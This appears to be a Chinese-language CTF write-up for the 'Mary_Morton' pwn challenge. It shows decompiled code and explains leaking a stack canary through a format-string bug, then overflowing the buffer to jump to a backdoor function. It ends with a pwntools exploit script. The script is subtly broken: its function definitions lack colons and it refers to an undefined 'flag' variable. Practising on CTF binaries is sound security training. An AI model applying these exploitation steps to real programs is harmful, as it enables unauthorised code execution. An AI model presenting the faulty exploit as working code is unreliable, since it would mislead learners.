『攻防世界』:進階區 | Mary_Morton
阿新 • • 發佈:2020-08-13
這道題讓我重新學了一遍格式化字串漏洞,自學真的太頂了。
checksec:開啟了canary
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)checksec
IDA檢視程式邏輯:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { const char *v3; // rdi intmainv4; // [rsp+24h] [rbp-Ch] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); sub_4009FF(); puts("Welcome to the battle ! "); puts("[Great Fairy] level pwned "); v3 = "Select your weapon "; puts("Select your weapon "); while ( 1 ) { while ( 1 ) { sub_4009DA(v3); v3= "%d"; __isoc99_scanf("%d", &v4); if ( v4 != 2 ) break; sub_4008EB(); } if ( v4 == 3 ) { puts("Bye "); exit(0); } if ( v4 == 1 ) { sub_400960(); } else { v3 = "Wrong!"; puts("Wrong!"); } } }
主程式提供兩種攻擊方法——棧溢位和格式化字串漏洞。這裡提到一個關於canary的概念,canary是系統產生的一個隨機數,在程式開始和結束進行檢查,如果棧溢位導致canary變動則程式崩潰。
sub_4008EB():方法1是利用sub_4008EB函式洩露出canary,得到canary後在payload中將原先canary的位置值保持不變即可成功控制程式執行。
unsigned __int64 sub_4008EB()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x7FuLL);
printf(&buf, &buf);
return __readfsqword(0x28u) ^ v2;
}
檢視buf到canary,v2的距離:0x90 - 0x08 = 0x88
-0000000000000090 buf db ? -000000000000008F db ? ; undefined -000000000000008E db ? ; undefined ············ ·········· -000000000000000A db ? ; undefined -0000000000000009 db ? ; undefined -0000000000000008 var_8 dq ?
接下來除錯程式得到offset為0x07 - 0x01:
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
>2
>aaaaaaaaaaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
aaaaaaaaaaaa.ffffd060.0000007f.f7b156d0.f7dd38c0.00000000.61616161.61616161.30252e78
接下來構造payload:
payload = '%' + str(0x88 / 0x08 + (0x07 - 0x01)) + '$p' //偏移的單位是地址的長度,64位環境下需要0x88/0x08,而後面的0x06就是offset了
後門函式地址:0x4008DA,溢位時候使用即可。
方法1:exp>
from pwn import * io = process('./Mary_Morton') def fun1(input) io.recvuntil("3. Exit the battle") io.sendline(str(1)) io.sendline(input) def fun2(input) io.recvuntil("3. Exit the battle") io.sendline(str(2)) io.sendline(input) flag_addr = 0x4008DA fun2("4%23$p") io.recvline() io.recv(1) canary = io.recv(18)[2:18] canary_int = int(canary,16) fun1("A"*0x88 + p64(canary_int) + p64(0) + p64(flag)) io.interactive()